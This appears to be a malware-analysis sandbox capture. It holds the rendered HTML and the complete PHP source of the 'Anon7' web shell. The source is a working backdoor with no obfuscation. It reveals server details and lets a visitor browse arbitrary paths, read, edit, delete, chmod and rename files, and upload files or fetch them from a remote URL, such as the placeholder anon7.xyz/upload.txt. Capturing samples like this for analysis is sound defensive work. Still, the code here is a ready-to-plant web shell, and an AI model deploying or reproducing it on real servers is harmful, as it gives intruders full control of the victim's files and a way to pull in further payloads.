TRACE END   [2023-02-12 23:27:27.202388]


Generated HTML code

<html><head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked="">current_dir [ <font color="green">Writeable</font> ]
<input type="radio" value="2" name="dirnya">document_root [ <font color="green">Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></td></tr></tbody></table><br><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><a href="?fileloc=/var/www/html/byps.php&amp;path=/var/www/html">byps.php</a></td>
<td><center>11.907 KB</center></td>
<td><center>-rw-rw-r--</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="ubahmod">Chm0d</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="byps.php">
<input type="hidden" name="path" value="/var/www/html/byps.php">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>Anon7 - 2021</center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>Anon7 - 2021</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function cekroot() {
	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
	echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
	echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td><br>';
if (isset($_POST['upwkwk'])) {
	if (isset($_POST['berkasnya'])) {
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
		} else {
			echo "<font color='red'>Failed to Upload !<br><br>";
		}
	} elseif (isset($_POST['linknya'])) {
		if (empty($_POST['namalink'])) {
			exit("Filename cannot be empty !");
		}
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
		if (file_exists($lokasi."/".$_POST['namalink'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
		} else {
			echo "<font coloe='red'>Failed to Upload !<br><br>";
		}
	}
}

echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
	echo "<tr><td>Current File : ".$_GET['fileloc'];
	echo '</tr></td></table><br/>';
	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
	author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
	if (is_dir($_POST['path'])) {
		xrmdir($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to delete Directory !");
		} else {
			green("Delete Directory Success !");
			echo "string";
		}
	} elseif (is_file($_POST['path'])) {
		@unlink($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to Delete File !");
		} else {
			green("Delete File Success !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
	if (isset($_POST['chm0d'])) {
		$cm = @chmod($_POST['path'], $_POST['perm']);
		if ($cm == true) {
			green("Change Mod Success !");
		} else {
			red("Change Mod Failed !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
	if (isset($_POST['gantin'])) {
		$ren = @rename($_POST['path'], $_POST['newname']);
		if ($ren == true) {
			green("Change Name Success !");
		} else {
			red("Change Name Failed !");
		}
	}
	if (empty($_POST['name'])) {
		$namaawal = $_POST['newname'];
	} else {
		$namawal = $_POST['name'];
	}
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
	if (isset($_POST['gasedit'])) {
		$edit = @file_put_contents($_POST['path'], $_POST['src']);
		if ($edit == true) {
			green("Edit File Success !");
		} else {
			red("Edit File Failed !");
		}
	}
	echo "<center>".$_POST['path']."<br><br>";
	echo '<form method="post">
	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
	echo "<tr>
	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
	<td><center>--</center></td>
	<td><center>";
	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
	echo statusnya($lokasi."/".$dir);
	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

	echo "</center></td>
	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
	<select name=\"pilih\">
	<option value=\"\"></option>
	<option value=\"hapus\">Delete</option>
	<option value=\"ubahmod\">Chm0d</option>
	<option value=\"gantinama\">Rename</option>
	</select>
	<input type=\"hidden\" name=\"type\" value=\"dir\">
	<input type=\"hidden\" name=\"name\" value=\"$dir\">
	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
	<input type=\"submit\" class=\"gas\" value=\">\" />
	</form></center></td>
	</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
	if(!is_file("$lokasi/$file")) continue;
	$size = filesize("$lokasi/$file")/1024;
	$size = round($size,3);
	if($size >= 1024){
	$size = round($size/1024,2).' MB';
} else {
	$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$statusnya = fileperms($file);

if (($statusnya & 0xC000) == 0xC000) {

// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}

// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));


// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));

// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));

return $ingfo;
}
?>